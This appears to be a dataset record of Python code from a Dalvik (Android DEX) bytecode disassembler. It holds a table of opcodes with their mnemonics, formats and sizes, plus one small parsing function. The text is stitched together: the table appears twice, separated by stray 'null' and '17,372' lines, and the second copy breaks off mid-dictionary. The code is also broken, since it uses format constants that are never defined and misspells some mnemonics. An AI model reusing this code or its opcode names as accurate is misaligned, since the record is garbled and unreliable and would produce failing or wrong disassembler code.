import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/from16', 'fmt22x', FMT22X, 2), 6: (0x06, 'move-wide/16', 'fmt32x', FMT32X, 3), 7: (0x07, 'move-object', 'fmt12x', FMT12X, 1), 8: (0x08, 'move-object/from16', 'fmt22x', FMT22X, 2), 9: (0x09, 'move-object/16', 'fmt32x', FMT32X, 3), 10: (0x0a, 'move-result', 'fmt11x', FMT11X, 1), 11: (0x0b, 'move-result-wide', 'fmt11x', FMT11X, 1), 12: (0x0c, 'move-result-object', 'fmt11x', FMT11X, 1), 13: (0x0d, 'move-exception', 'fmt11x', FMT11X, 1), 14: (0x0e, 'return-void', 'fmt10x', FMT10X, 1), 15: (0x0f, 'return', 'fmt11x', FMT11X, 1), 16: (0x10, 'return-wide', 'fmt11x', FMT11X, 1), 17: (0x11, 'return-object', 'fmt11x', FMT11X, 1), 18: (0x12, 'const/4', 'fmt11n', FMT11N, 1), 19: (0x13, 'const/16', 'fmt21s', FMT21S, 2), 20: (0x14, 'const', 'fmt31i', FMT31I, 3), 21: (0x15, 'const/high16', 'fmt21h', FMT21H, 2), 22: (0x16, 'const-wide/16', 'fmt21s', FMT21S, 2), 23: (0x17, 'const-wide/32', 'fmt31i', FMT31I, 3), 24: (0x18, 'const-wide', 'fmt51l', FMT51L, 5), 25: (0x19, 'const-wide/high16', 'fmt21h', FMT21H, 2), 26: (0x1a, 'const-string', 'fmt21c', FMT21C, 2), 27: (0x1b, 'const-string/jumbo', 'fmt31c', FMT31C, 3), 28: (0x1c, 'const-class', 'fmt21c', FMT21C, 2), 29: (0x1d, 'monitor-enter', 'fmt11x', FMT11X, 1), 30: (0x1e, 'monitor-exit', 'fmt11x', FMT11X, 1), 31: (0x1f, 'check-cast', 'fmt21c', FMT21C, 2), 32: (0x20, 'instance-of', 'fmt22c', FMT22C, 2), 33: (0x21, 'array-length', 'fmt12x', FMT12X, 1), 34: (0x22, 'new-instance', 'fmt21c', FMT21C, 2), 35: (0x23, 'new-array', 'fmt22c', FMT22C, 2), 36: (0x24, 'filled-new-array', 'fmt35c', FMT35C, 3), 37: (0x25, 'filled-new-array/range', 'fmt3rc', FMT3RC, 3), 38: (0x26, 'fill-array-data', 'fmt31t', FMT31T, 3), 39: (0x27, 'throw', 'fmt11x', FMT11X, 1), 40: (0x28, 'goto', 'fmt10t', FMT10T, 1), 41: (0x29, 'goto/16', 'fmt20t', FMT20T, 2), 42: (0x2a, 'goto/32', 'fmt30t', FMT30T, 3), 43: (0x2b, 'packed-switch', 'fmt31t', FMT31T, 3), 44: (0x2c, 'sparse-switch', 'fmt31t', FMT31T, 3), 45: (0x2d, 'cmpl-float', 'fmt23x', FMT23X, 2), 46: (0x2e, 'cmpg-float', 'fmt23x', FMT23X, 2), 47: (0x2f, 'cmpl-double', 'fmt23x', FMT23X, 2), 48: (0x30, 'cmpg-double', 'fmt23x', FMT23X, 2), 49: (0x31, 'cmp-long', 'fmt23x', FMT23X, 2), 50: (0x32, 'if-eq', 'fmt22t', FMT22T, 2), 51: (0x33, 'if-ne', 'fmt22t', FMT22T, 2), 52: (0x34, 'if-lt', 'fmt22t', FMT22T, 2), 53: (0x35, 'if-ge', 'fmt22t', FMT22T, 2), 54: (0x36, 'if-gt', 'fmt22t', FMT22T, 2), 55: (0x37, 'if-le', 'fmt22t', FMT22T, 2), 56: (0x38, 'if-eqz', 'fmt21t', FMT21T, 2), 57: (0x39, 'if-nez', 'fmt21t', FMT21T, 2), 58: (0x3a, 'if-ltz', 'fmt21t', FMT21T, 2), 59: (0x3b, 'if-gez', 'fmt21t', FMT21T, 2), 60: (0x3c, 'if-gtz', 'fmt21t', FMT21T, 2), 61: (0x3d, 'if-lez', 'fmt21t', FMT21T, 2), 62: (0x3e, 'unused', 'fmt10x', FMT10X, 1), 63: (0x3f, 'unused', 'fmt10x', FMT10X, 1), 64: (0x40, 'unused', 'fmt10x', FMT10X, 1), 65: (0x41, 'unused', 'fmt10x', FMT10X, 1), 66: (0x42, 'unused', 'fmt10x', FMT10X, 1), 67: (0x43, 'unused', 'fmt10x', FMT10X, 1), 68: (0x44, 'aget', 'fmt23x', FMT23X, 2), 69: (0x45, 'aget-wide', 'fmt23x', FMT23X, 2), 70: (0x46, 'aget-object', 'fmt23x', FMT23X, 2), 71: (0x47, 'aget-boolean', 'fmt23x', FMT23X, 2), 72: (0x48, 'aget-byte', 'fmt23x', FMT23X, 2), 73: (0x49, 'aget-char', 'fmt23x', FMT23X, 2), 74: (0x4a, 'aget-short', 'fmt23x', FMT23X, 2), 75: (0x4b, 'aput', 'fmt23x', FMT23X, 2), 76: (0x4c, 'aput-wide', 'fmt23x', FMT23X, 2), 77: (0x4d, 'aput-object', 'fmt23x', FMT23X, 2), 78: (0x4e, 'aput-boolean', 'fmt23x', FMT23X, 2), 79: (0x4f, 'aput-byte', 'fmt23x', FMT23X, 2), 80: (0x50, 'aput-shar', 'fmt23x', FMT23X, 2), 81: (0x51, 'aput-short', 'fmt23x', FMT23X, 2), 82: (0x52, 'iget', 'fmt22c', FMT22C, 2), 83: (0x53, 'iget-wide', 'fmt22c', FMT22C, 2), 84: (0x54, 'iget-object', 'fmt22c', FMT22C, 2), 85: (0x55, 'iget-boolean', 'fmt22c', FMT22C, 2), 86: (0x56, 'iget-byte', 'fmt22c', FMT22C, 2), 87: (0x57, 'iget-char', 'fmt22c', FMT22C, 2), 88: (0x58, 'iget-short', 'fmt22c', FMT22C, 2), 89: (0x59, 'iput', 'fmt22c', FMT22C, 2), 90: (0x5a, 'iput-wide', 'fmt22c', FMT22C, 2), 91: (0x5b, 'iput-object', 'fmt22c', FMT22C, 2), 92: (0x5c, 'iput-boolean', 'fmt22c', FMT22C, 2), 93: (0x5d, 'iput-byte', 'fmt22c', FMT22C, 2), 94: (0x5e, 'iput-char', 'fmt22c', FMT22C, 2), 95: (0x5f, 'iput-short', 'fmt22c', FMT22C, 2), 96: (0x60, 'sget', 'fmt21c', FMT21C, 2), 97: (0x61, 'sget-wide', 'fmt21c', FMT21C, 2), 98: (0x62, 'sget-object', 'fmt21c', FMT21C, 2), 99: (0x63, 'sget-boolean', 'fmt21c', FMT21C, 2), 100: (0x64, 'sget-byte', 'fmt21c', FMT21C, 2), 101: (0x65, 'sget-char', 'fmt21c', FMT21C, 2), 102: (0x66, 'sget-short', 'fmt21c', FMT21C, 2), 103: (0x67, 'sput', 'fmt21c', FMT21C, 2), 104: (0x68, 'sput-wide', 'fmt21c', FMT21C, 2), 105: (0x69, 'sput-object', 'fmt21c', FMT21C, 2), 106: (0x6a, 'sput-boolean', 'fmt21c', FMT21C, 2), 107: (0x6b, 'sput-byte', 'fmt21c', FMT21C, 2), 108: (0x6c, 'sput-char', 'fmt21c', FMT21C, 2), 109: (0x6d, 'sput-short', 'fmt21c', FMT21C, 2), 110: (0x6e, 'invoke-virtual', 'fmt35c', FMT35C, 3), 111: (0x6f, 'invoke-super', 'fmt35c', FMT35C, 3), 112: (0x70, 'invoke-direct', 'fmt35c', FMT35C, 3), 113: (0x71, 'invoke-static', 'fmt35c', FMT35C, 3), 114: (0x72, 'invoke-insterface', 'fmt35c', FMT35C, 3), 115: (0x73, 'unused', 'fmt10x', FMT10X, 1), 116: (0x74, 'invoke-virtual/range', 'fmt3rc', FMT3RC, 3), 117: (0x75, 'invoke-super/range', 'fmt3rc', FMT3RC, 3), 118: (0x76, 'invoke-direct/range', 'fmt3rc', FMT3RC, 3), 119: (0x77, 'invoke-static/range', 'fmt3rc', FMT3RC, 3), 120: (0x78, 'invoke-interface/range', 'fmt3rc', FMT3RC, 3), 121: (0x79, 'unused', 'fmt10x', FMT10X, 1), 122: (0x7a, 'unused', 'fmt10x', FMT10X, 1), 123: (0x7b, 'neg-int', 'fmt12x', FMT12X, 1), 124: (0x7c, 'not-int', 'fmt12x', FMT12X, 1), 125: (0x7d, 'neg-long', 'fmt12x', FMT12X, 1), 126: (0x7e, 'not-long', 'fmt12x', FMT12X, 1), 127: (0x7f, 'neg-float', 'fmt12x', FMT12X, 1), 128: (0x80, 'neg-double', 'fmt12x', FMT12X, 1), 129: (0x81, 'int-to-long', 'fmt12x', FMT12X, 1), 130: (0x82, 'int-to-float', 'fmt12x', FMT12X, 1), 131: (0x83, 'int-to-double', 'fmt12x', FMT12X, 1), 132: (0x84, 'long-to-int', 'fmt12x', FMT12X, 1), 133: (0x85, 'long-to-float', 'fmt12x', FMT12X, 1), 134: (0x86, 'long-to-double', 'fmt12x', FMT12X, 1), 135: (0x87, 'float-to-int', 'fmt12x', FMT12X, 1), 136: (0x88, 'float-to-long', 'fmt12x', FMT12X, 1), 137: (0x89, 'float-to-double', 'fmt12x', FMT12X, 1), 138: (0x8a, 'double-to-int', 'fmt12x', FMT12X, 1), 139: (0x8b, 'double-to-long', 'fmt12x', FMT12X, 1), 140: (0x8c, 'double-to-float', 'fmt12x', FMT12X, 1), 141: (0x8d, 'int-to-byte', 'fmt12x', FMT12X, 1), 142: (0x8e, 'int-to-char', 'fmt12x', FMT12X, 1), 143: (0x8f, 'int-to-short', 'fmt12x', FMT12X, 1), 144: (0x90, 'add-int', 'fmt23x', FMT23X, 2), 145: (0x91, 'sub-int', 'fmt23x', FMT23X, 2), 146: (0x92, 'mul-int', 'fmt23x', FMT23X, 2), 147: (0x93, 'div-int', 'fmt23x', FMT23X, 2), 148: (0x94, 'rem-int', 'fmt23x', FMT23X, 2), 149: (0x95, 'and-int', 'fmt23x', FMT23X, 2), 150: (0x96, 'or-int', 'fmt23x', FMT23X, 2), 151: (0x97, 'xor-int', 'fmt23x', FMT23X, 2), 152: (0x98, 'shl-int', 'fmt23x', FMT23X, 2), 153: (0x99, 'shr-int', 'fmt23x', FMT23X, 2), 154: (0x9a, 'ushr-int', 'fmt23x', FMT23X, 2), 155: (0x9b, 'add-long', 'fmt23x', FMT23X, 2), 156: (0x9c, 'sub-long', 'fmt23x', FMT23X, 2), 157: (0x9d, 'mul-long', 'fmt23x', FMT23X, 2), 158: (0x9e, 'div-long', 'fmt23x', FMT23X, 2), 159: (0x9f, 'rem-long', 'fmt23x', FMT23X, 2), 160: (0xa0, 'and-long', 'fmt23x', FMT23X, 2), 161: (0xa1, 'or-long', 'fmt23x', FMT23X, 2), 162: (0xa2, 'xor-long', 'fmt23x', FMT23X, 2), 163: (0xa3, 'shl-long', 'fmt23x', FMT23X, 2), 164: (0xa4, 'shr-long', 'fmt23x', FMT23X, 2), 165: (0xa5, 'ushr-long', 'fmt23x', FMT23X, 2), 166: (0xa6, 'add-float', 'fmt23x', FMT23X, 2), 167: (0xa7, 'sub-float', 'fmt23x', FMT23X, 2), 168: (0xa8, 'mul-float', 'fmt23x', FMT23X, 2), 169: (0xa9, 'div-float', 'fmt23x', FMT23X, 2), 170: (0xaa, 'rem-float', 'fmt23x', FMT23X, 2), 171: (0xab, 'add-double', 'fmt23x', FMT23X, 2), 172: (0xac, 'sub-double', 'fmt23x', FMT23X, 2), 173: (0xad, 'mul-double', 'fmt23x', FMT23X, 2), 174: (0xae, 'div-double', 'fmt23x', FMT23X, 2), 175: (0xaf, 'rem-double', 'fmt23x', FMT23X, 2), 176: (0xb0, 'add-int/2addr', 'fmt12x', FMT12X, 1), 177: (0xb1, 'sub-int/2addr', 'fmt12x', FMT12X, 1), 178: (0xb2, 'mul-int/2addr', 'fmt12x', FMT12X, 1), 179: (0xb3, 'div-int/2addr', 'fmt12x', FMT12X, 1), 180: (0xb4, 'rem-int/2addr', 'fmt12x', FMT12X, 1), 181: (0xb5, 'and-int/2addr', 'fmt12x', FMT12X, 1), 182: (0xb6, 'or-int/2addr', 'fmt12x', FMT12X, 1), 183: (0xb7, 'xor-int/2addr', 'fmt12x', FMT12X, 1), 184: (0xb8, 'shl-int/2addr', 'fmt12x', FMT12X, 1), 185: (0xb9, 'shr-int/2addr', 'fmt12x', FMT12X, 1), 186: (0xba, 'ushr-int/2addr', 'fmt12x', FMT12X, 1), 187: (0xbb, 'add-long/2addr', 'fmt12x', FMT12X, 1), 188: (0xbc, 'sub-long/2addr', 'fmt12x', FMT12X, 1), 189: (0xbd, 'mul-long/2addr', 'fmt12x', FMT12X, 1), 190: (0xbe, 'div-long/2addr', 'fmt12x', FMT12X, 1), 191: (0xbf, 'rem-long/2addr', 'fmt12x', FMT12X, 1), 192: (0xc0, 'and-long/2addr', 'fmt12x', FMT12X, 1), 193: (0xc1, 'or-long/2addr', 'fmt12x', FMT12X, 1), 194: (0xc2, 'xor-long/2addr', 'fmt12x', FMT12X, 1), 195: (0xc3, 'shl-long/2addr', 'fmt12x', FMT12X, 1), 196: (0xc4, 'shr-long/2addr', 'fmt12x', FMT12X, 1), 197: (0xc5, 'ushr-long/2addr', 'fmt12x', FMT12X, 1), 198: (0xc6, 'add-float/2addr', 'fmt12x', FMT12X, 1), 199: (0xc7, 'sub-float/2addr', 'fmt12x', FMT12X, 1), 200: (0xc8, 'mul-float/2addr', 'fmt12x', FMT12X, 1), 201: (0xc9, 'div-float/2addr', 'fmt12x', FMT12X, 1), 202: (0xca, 'rem-float/2addr', 'fmt12x', FMT12X, 1), 203: (0xcb, 'add-double/2addr', 'fmt12x', FMT12X, 1), 204: (0xcc, 'sub-double/2addr', 'fmt12x', FMT12X, 1), 205: (0xcd, 'mul-double/2addr', 'fmt12x', FMT12X, 1), 206: (0xce, 'div-double/2addr', 'fmt12x', FMT12X, 1), 207: (0xcf, 'rem-double/2addr', 'fmt12x', FMT12X, 1), 208: (0xd0, 'add-int/lit16', 'fmt22s', FMT22S, 2), 209: (0xd1, 'rsub-int', 'fmt22s', FMT22S, 2), 210: (0xd2, 'mul-int/lit16', 'fmt22s', FMT22S, 2), 211: (0xd3, 'div-int/lit16', 'fmt22s', FMT22S, 2), 212: (0xd4, 'rem-int/lit16', 'fmt22s', FMT22S, 2), 213: (0xd5, 'and-int/lit16', 'fmt22s', FMT22S, 2), 214: (0xd6, 'or-int/lit16', 'fmt22s', FMT22S, 2), 215: (0xd7, 'xor-int/lit16', 'fmt22s', FMT22S, 2), 216: (0xd8, 'add-int/lit8', 'fmt22b', FMT22B, 2), 217: (0xd9, 'rsub-int/lit8', 'fmt22b', FMT22B, 2), 218: (0xda, 'mul-int/lit8', 'fmt22b', FMT22B, 2), 219: (0xdb, 'div-int/lit8', 'fmt22b', FMT22B, 2), 220: (0xdc, 'rem-int/lit8', 'fmt22b', FMT22B, 2), 221: (0xdd, 'and-int/lit8', 'fmt22b', FMT22B, 2), 222: (0xde, 'or-int/lit8', 'fmt22b', FMT22B, 2), 223: (0xdf, 'xor-int/lit8', 'fmt22b', FMT22B, 2), 224: (0xe0, 'shl-int/lit8', 'fmt22b', FMT22B, 2), 225: (0xe1, 'shr-int/lit8', 'fmt22b', FMT22B, 2), 226: (0xe2, 'ushr-int/lit8', 'fmt22b', FMT22B, 2), 227: (0xe3, 'unused', 'fmt10x', FMT10X, 1), 228: (0xe4, 'unused', 'fmt10x', FMT10X, 1), 229: (0xe5, 'unused', 'fmt10x', FMT10X, 1), 230: (0xe6, 'unused', 'fmt10x', FMT10X, 1), 231: (0xe7, 'unused', 'fmt10x', FMT10X, 1), 232: (0xe8, 'unused', 'fmt10x', FMT10X, 1), 233: (0xe9, 'unused', 'fmt10x', FMT10X, 1), 234: (0xea, 'unused', 'fmt10x', FMT10X, 1), 235: (0xeb, 'unused', 'fmt10x', FMT10X, 1), 236: (0xec, 'unused', 'fmt10x', FMT10X, 1), 237: (0xed, 'unused', 'fmt10x', FMT10X, 1), 238: (0xee, 'unused', 'fmt10x', FMT10X, 1), 239: (0xef, 'unused', 'fmt10x', FMT10X, 1), 240: (0xf0, 'unused', 'fmt10x', FMT10X, 1), 241: (0xf1, 'unused', 'fmt10x', FMT10X, 1), 242: (0xf2, 'unused', 'fmt10x', FMT10X, 1), 243: (0xf3, 'unused', 'fmt10x', FMT10X, 1), 244: (0xf4, 'unused', 'fmt10x', FMT10X, 1), 245: (0xf5, 'unused', 'fmt10x', FMT10X, 1), 246: (0xf6, 'unused', 'fmt10x', FMT10X, 1), 247: (0xf7, 'unused', 'fmt10x', FMT10X, 1), 248: (0xf8, 'unused', 'fmt10x', FMT10X, 1), 249: (0xf9, 'unused', 'fmt10x', FMT10X, 1), 250: (0xfa, 'unused', 'fmt10x', FMT10X, 1), 251: (0xfb, 'unused', 'fmt10x', FMT10X, 1), 252: (0xfc, 'unused', 'fmt10x', FMT10X, 1), 253: (0xfd, 'unused', 'fmt10x', FMT10X, 1), 254: (0xfe, 'unused', 'fmt10x', FMT10X, 1), 255: (0xff, 'unused', 'fmt10x', FMT10X, 1), } import getopt def parse_FMT12X(buffer, dex_object, pc_point, offset): return (dex_decode[ord(buffer[0])][4], dex_decode[ord(buffer[0])][1], "v%d" % (ord(buffer[1]) & 0x0f), "v%d" % ((ord(buffer[1]) >> 4) & 0xf))
null
17,372
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/from16', 'fmt22x', FMT22X, 2), 6: (0x06, 'move-wide/16', 'fmt32x', FMT32X, 3), 7: (0x07, 'move-object', 'fmt12x', FMT12X, 1), 8: (0x08, 'move-object/from16', 'fmt22x', FMT22X, 2), 9: (0x09, 'move-object/16', 'fmt32x', FMT32X, 3), 10: (0x0a, 'move-result', 'fmt11x', FMT11X, 1), 11: (0x0b, 'move-result-wide', 'fmt11x', FMT11X, 1), 12: (0x0c, 'move-result-object', 'fmt11x', FMT11X, 1), 13: (0x0d, 'move-exception', 'fmt11x', FMT11X, 1), 14: (0x0e, 'return-void', 'fmt10x', FMT10X, 1), 15: (0x0f, 'return', 'fmt11x', FMT11X, 1), 16: (0x10, 'return-wide', 'fmt11x', FMT11X, 1), 17: (0x11, 'return-object', 'fmt11x', FMT11X, 1), 18: (0x12, 'const/4', 'fmt11n', FMT11N, 1), 19: (0x13, 'const/16', 'fmt21s', FMT21S, 2), 20: (0x14, 'const', 'fmt31i', FMT31I, 3), 21: (0x15, 'const/high16', 'fmt21h', FMT21H, 2), 22: (0x16, 'const-wide/16', 'fmt21s', FMT21S, 2), 23: (0x17, 'const-wide/32', 'fmt31i', FMT31I, 3), 24: (0x18, 'const-wide', 'fmt51l', FMT51L, 5), 25: (0x19, 'const-wide/high16', 'fmt21h', FMT21H, 2), 26: (0x1a, 'const-string', 'fmt21c', FMT21C, 2), 27: (0x1b, 'const-string/jumbo', 'fmt31c', FMT31C, 3), 28: (0x1c, 'const-class', 'fmt21c', FMT21C, 2), 29: (0x1d, 'monitor-enter', 'fmt11x', FMT11X, 1), 30: (0x1e, 'monitor-exit', 'fmt11x', FMT11X, 1), 31: (0x1f, 'check-cast', 'fmt21c', FMT21C, 2), 32: (0x20, 'instance-of', 'fmt22c', FMT22C, 2), 33: (0x21, 'array-length', 'fmt12x', FMT12X, 1), 34: (0x22, 'new-instance', 'fmt21c', FMT21C, 2), 35: (0x23, 'new-array', 'fmt22c', FMT22C, 2), 36: (0x24, 'filled-new-array', 'fmt35c', FMT35C, 3), 37: (0x25, 'filled-new-array/range', 'fmt3rc', FMT3RC, 3), 38: (0x26, 'fill-array-data', 'fmt31t', FMT31T, 3), 39: (0x27, 'throw', 'fmt11x', FMT11X, 1), 40: (0x28, 'goto', 'fmt10t', FMT10T, 1), 41: (0x29, 'goto/16', 'fmt20t', FMT20T, 2), 42: (0x2a, 'goto/32', 'fmt30t', FMT30T, 3), 43: (0x2b, 'packed-switch', 'fmt31t', FMT31T, 3), 44: (0x2c, 'sparse-switch', 'fmt31t', FMT31T, 3), 45: (0x2d, 'cmpl-float', 'fmt23x', FMT23X, 2), 46: (0x2e, 'cmpg-float', 'fmt23x', FMT23X, 2), 47: (0x2f, 'cmpl-double', 'fmt23x', FMT23X, 2), 48: (0x30, 'cmpg-double', 'fmt23x', FMT23X, 2), 49: (0x31, 'cmp-long', 'fmt23x', FMT23X, 2), 50: (0x32, 'if-eq', 'fmt22t', FMT22T, 2), 51: (0x33, 'if-ne', 'fmt22t', FMT22T, 2), 52: (0x34, 'if-lt', 'fmt22t', FMT22T, 2), 53: (0x35, 'if-ge', 'fmt22t', FMT22T, 2), 54: (0x36, 'if-gt', 'fmt22t', FMT22T, 2), 55: (0x37, 'if-le', 'fmt22t', FMT22T, 2), 56: (0x38, 'if-eqz', 'fmt21t', FMT21T, 2), 57: (0x39, 'if-nez', 'fmt21t', FMT21T, 2), 58: (0x3a, 'if-ltz', 'fmt21t', FMT21T, 2), 59: (0x3b, 'if-gez', 'fmt21t', FMT21T, 2), 60: (0x3c, 'if-gtz', 'fmt21t', FMT21T, 2), 61: (0x3d, 'if-lez', 'fmt21t', FMT21T, 2), 62: (0x3e, 'unused', 'fmt10x', FMT10X, 1), 63: (0x3f, 'unused', 'fmt10x', FMT10X, 1), 64: (0x40, 'unused', 'fmt10x', FMT10X, 1), 65: (0x41, 'unused', 'fmt10x', FMT10X, 1), 66: (0x42, 'unused', 'fmt10x', FMT10X, 1), 67: (0x43, 'unused', 'fmt10x', FMT10X, 1), 68: (0x44, 'aget', 'fmt23x', FMT23X, 2), 69: (0x45, 'aget-wide', 'fmt23x', FMT23X, 2), 70: (0x46, 'aget-object', 'fmt23x', FMT23X, 2), 71: (0x47, 'aget-boolean', 'fmt23x', FMT23X, 2), 72: (0x48, 'aget-byte', 'fmt23x', FMT23X, 2), 73: (0x49, 'aget-char', 'fmt23x', FMT23X, 2), 74: (0x4a, 'aget-short', 'fmt23x', FMT23X, 2), 75: (0x4b, 'aput', 'fmt23x', FMT23X, 2), 76: (0x4c, 'aput-wide', 'fmt23x', FMT23X, 2), 77: (0x4d, 'aput-object', 'fmt23x', FMT23X, 2), 78: (0x4e, 'aput-boolean', 'fmt23x', FMT23X, 2), 79: (0x4f, 'aput-byte', 'fmt23x', FMT23X, 2), 80: (0x50, 'aput-shar', 'fmt23x', FMT23X, 2), 81: (0x51, 'aput-short', 'fmt23x', FMT23X, 2), 82: (0x52, 'iget', 'fmt22c', FMT22C, 2), 83: (0x53, 'iget-wide', 'fmt22c', FMT22C, 2), 84: (0x54, 'iget-object', 'fmt22c', FMT22C, 2), 85: (0x55, 'iget-boolean', 'fmt22c', FMT22C, 2), 86: (0x56, 'iget-byte', 'fmt22c', FMT22C, 2), 87: (0x57, 'iget-char', 'fmt22c', FMT22C, 2), 88: (0x58, 'iget-short', 'fmt22c', FMT22C, 2), 89: (0x59, 'iput', 'fmt22c', FMT22C, 2), 90: (0x5a, 'iput-wide', 'fmt22c', FMT22C, 2), 91: (0x5b, 'iput-object', 'fmt22c', FMT22C, 2), 92: (0x5c, 'iput-boolean', 'fmt22c', FMT22C, 2), 93: (0x5d, 'iput-byte', 'fmt22c', FMT22C, 2), 94: (0x5e, 'iput-char', 'fmt22c', FMT22C, 2), 95: (0x5f, 'iput-short', 'fmt22c', FMT22C, 2), 96: (0x60, 'sget', 'fmt21c', FMT21C, 2), 97: (0x61, 'sget-wide', 'fmt21c', FMT21C, 2), 98: (0x62, 'sget-object', 'fmt21c', FMT21C, 2), 99: (0x63, 'sget-boolean', 'fmt21c', FMT21C, 2), 100: (0x64, 'sget-byte', 'fmt21c', FMT21C, 2), 101: (0x65, 'sget-char', 'fmt21c', FMT21C, 2), 102: (0x66, 'sget-short', 'fmt21c', FMT21C, 2), 103: (0x67, 'sput', 'fmt21c', FMT21C, 2), 104: (0x68, 'sput-wide', 'fmt21c', FMT21C, 2), 105: (0x69, 'sput-object', 'fmt21c', FMT21C, 2), 106: (0x6a, 'sput-boolean', 'fmt21c', FMT21C, 2), 107: (0x6b, 'sput-byte', 'fmt21c', FMT21C, 2), 108: (0x6c, 'sput-char', 'fmt21c', FMT21C, 2), 109: (0x6d, 'sput-short', 'fmt21c', FMT21C, 2), 110: (0x6e, 'invoke-virtual', 'fmt35c', FMT35C, 3), 111: (0x6f, 'invoke-super', 'fmt35c', FMT35C, 3), 112: (0x70, 'invoke-direct', 'fmt35c', FMT35C, 3), 113: (0x71, 'invoke-static', 'fmt35c', FMT35C, 3), 114: (0x72, 'invoke-insterface', 'fmt35c', FMT35C, 3), 115: (0x73, 'unused', 'fmt10x', FMT10X, 1), 116: (0x74, 'invoke-virtual/range', 'fmt3rc', FMT3RC, 3), 117: (0x75, 'invoke-super/range', 'fmt3rc', FMT3RC, 3), 118: (0x76, 'invoke-direct/range', 'fmt3rc', FMT3RC, 3), 119: (0x77, 'invoke-static/range', 'fmt3rc', FMT3RC, 3), 120: (0x78, 'invoke-interface/range', 'fmt3rc', FMT3RC, 3), 121: (0x79, 'unused', 'fmt10x', FMT10X, 1), 122: (0x7a, 'unused', 'fmt10x', FMT10X, 1), 123: (0x7b, 'neg-int', 'fmt12x', FMT12X, 1), 124: (0x7c, 'not-int', 'fmt12x', FMT12X, 1), 125: (0x7d, 'neg-long', 'fmt12x', FMT12X, 1), 126: (0x7e, 'not-long', 'fmt12x', FMT12X, 1), 127: (0x7f, 'neg-float', 'fmt12x', FMT12X, 1), 128: (0x80, 'neg-double', 'fmt12x', FMT12X, 1), 129: (0x81, 'int-to-long', 'fmt12x', FMT12X, 1), 130: (0x82, 'int-to-float', 'fmt12x', FMT12X, 1), 131: (0x83, 'int-to-double', 'fmt12x', FMT12X, 1), 132: (0x84, 'long-to-int', 'fmt12x', FMT12X, 1), 133: (0x85, 'long-to-float', 'fmt12x', FMT12X, 1), 134: (0x86, 'long-to-double', 'fmt12x', FMT12X, 1), 135: (0x87, 'float-to-int', 'fmt12x', FMT12X, 1), 136: (0x88, 'float-to-long', 'fmt12x', FMT12X, 1), 137: (0x89, 'float-to-double', 'fmt12x', FMT12X, 1), 138: (0x8a, 'double-to-int', 'fmt12x', FMT12X, 1), 139: (0x8b, 'double-to-long', 'fmt12x', FMT12X, 1), 140: (0x8c, 'double-to-float', 'fmt12x', FMT12X, 1), 141: (0x8d, 'int-to-byte', 'fmt12x', FMT12X, 1), 142: (0x8e, 'int-to-char', 'fmt12x', FMT12X, 1), 143: (0x8f, 'int-to-short', 'fmt12x', FMT12X, 1), 144: (0x90, 'add-int', 'fmt23x', FMT23X, 2), 145: (0x91, 'sub-int', 'fmt23x', FMT23X, 2), 146: (0x92, 'mul-int', 'fmt23x', FMT23X, 2), 147: (0x93, 'div-int', 'fmt23x', FMT23X, 2), 148: (0x94, 'rem-int', 'fmt23x', FMT23X, 2), 149: (0x95, 'and-int', 'fmt23x', FMT23X, 2), 150: (0x96, 'or-int', 'fmt23x', FMT23X, 2), 151: (0x97, 'xor-int', 'fmt23x', FMT23X, 2), 152: (0x98, 'shl-int', 'fmt23x', FMT23X, 2), 153: (0x99, 'shr-int', 'fmt23x', FMT23X, 2), 154: (0x9a, 'ushr-int', 'fmt23x', FMT23X, 2), 155: (0x9b, 'add-long', 'fmt23x', FMT23X, 2), 156: (0x9c, 'sub-long', 'fmt23x', FMT23X, 2), 157: (0x9d, 'mul-long', 'fmt23x', FMT23X, 2), 158: (0x9e, 'div-long', 'fmt23x', FMT23X, 2), 159: (0x9f, 'rem-long', 'fmt23x', FMT23X, 2), 160: (0xa0, 'and-long', 'fmt23x', FMT23X, 2), 161: (0xa1, 'or-long', 'fmt23x', FMT23X, 2), 162: (0xa2, 'xor-long', 'fmt23x', FMT23X, 2), 163: (0xa3, 'shl-long', 'fmt23x', FMT23X, 2), 164: (0xa4, 'shr-long', 'fmt23x', FMT23X, 2), 165: (0xa5, 'ushr-long', 'fmt23x', FMT23X, 2), 166: (0xa6, 'add-float', 'fmt23x', FMT23X, 2), 167: (0xa7, 'sub-float', 'fmt23x', FMT23X, 2), 168: (0xa8, 'mul-float', 'fmt23x', FMT23X, 2), 169: (0xa9, 'div-float', 'fmt23x', FMT23X, 2), 170: (0xaa, 'rem-float', 'fmt23x', FMT23X, 2), 171: (0xab, 'add-double', 'fmt23x', FMT23X, 2), 172: (0xac, 'sub-double', 'fmt23x', FMT23X, 2), 173: (0xad, 'mul-double', 'fmt23x', FMT23X, 2), 174: (0xae, 'div-double', 'fmt23x', FMT23X, 2), 175: (0xaf, 'rem-double', 'fmt23x', FMT23X, 2), 176: (0xb0, 'add-int/2addr', 'fmt12x', FMT12X, 1), 177: (0xb1, 'sub-int/2addr', 'fmt12x', FMT12X, 1), 178: (0xb2, 'mul-int/2addr', 'fmt12x', FMT12X, 1), 179: (0xb3, 'div-int/2addr', 'fmt12x', FMT12X, 1), 180: (0xb4, 'rem-int/2addr', 'fmt12x', FMT12X, 1), 181: (0xb5, 'and-int/2addr', 'fmt12x', FMT12X, 1), 182: (0xb6, 'or-int/2addr', 'fmt12x', FMT12X, 1), 183: (0xb7, 'xor-int/2addr', 'fmt12x', FMT12X, 1), 184: (0xb8, 'shl-int/2addr', 'fmt12x', FMT12X, 1), 185: (0xb9, 'shr-int/2addr', 'fmt12x', FMT12X, 1), 186: (0xba, 'ushr-int/2addr', 'fmt12x', FMT12X, 1), 187: (0xbb, 'add-long/2addr', 'fmt12x', FMT12X, 1), 188: (0xbc, 'sub-long/2addr', 'fmt12x', FMT12X, 1), 189: (0xbd, 'mul-long/2addr', 'fmt12x', FMT12X, 1), 190: (0xbe, 'div-long/2addr', 